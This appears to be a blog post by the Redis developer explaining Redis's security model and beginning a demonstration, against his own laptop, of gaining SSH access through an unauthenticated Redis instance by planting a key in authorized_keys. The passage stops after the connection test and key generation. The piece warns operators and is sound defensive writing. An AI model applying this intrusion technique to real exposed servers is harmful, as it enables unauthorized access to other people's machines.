From time to time I get security reports about Redis. It’s good to get reports, but it’s odd that what I get is usually about things like Lua sandbox escaping, insecure temporary file creation, and similar issues, in a software which is designed (as we explain in our security page here http://redis.io/topics/security) to be totally insecure if exposed to the outside world.
Yet these bug reports are often useful since there are different levels of security concerning any software in general and Redis specifically. What you can do if you have access to the database, just modify the content of the database itself or compromise the local system where Redis is running?
How important is a given security layer in a system depends on its security model. Is a system designed to have untrusted users accessing it, like a web server
for example? There are different levels of authorization for different kinds of
users?
The Redis security model is: “it’s totally insecure to let untrusted clients access the system, please protect it from the outside world yourself”. The reason is that, basically, 99.99% of the Redis use cases are inside a sandboxed environment. Security is complex. Adding security features adds complexity. Complexity for 0.01% of use cases is not great, but it is a matter of design philosophy, so you may disagree of course.
The problem is that, whatever we state in our security page, there are a lot of Redis instances exposed to the internet unintentionally. Not because the use case requires outside clients to access Redis, but because nobody bothered to protect a given Redis instance from outside accesses via fire walling, enabling AUTH, binding it to 127.0.0.1 if only local clients are accessing it, and so forth.
Let’s crack Redis for fun and no profit at all given I’m the developer of this thing
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In order to show the Redis “security model” in a cruel way, I did a quick 5 minutes experiment. In our security page we hint at big issues if Redis is exposed. You can read: “However, the ability to control the server configuration using the CONFIG command makes the client able to change the working directory of the program and the name of the dump file. This allows clients to write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run untrusted code as the same user as Redis is running”.
So my experiment was the following: I’ll run a Redis instance in my Macbook Air, without touching the computer configuration compared to what I’ve currently. Now from another host, my goal is to compromise my laptop.
So, to start let’s check if I can access the instance, which is a prerequisite:
$ telnet 192.168.1.11 6379
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.
Works, and no AUTH required. Redis is unprotected without a password set up, and so forth. The simplest thing you can do in such a case, is to write random files. Guess what? my Macbook Air happens to run an SSH server. What about trying to write something into ~/ssh/authorized_keys in order to gain access?
Let’s start generating a new SSH key:
$ ssh-keygen -t rsa -C "crack@redis.io"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pu
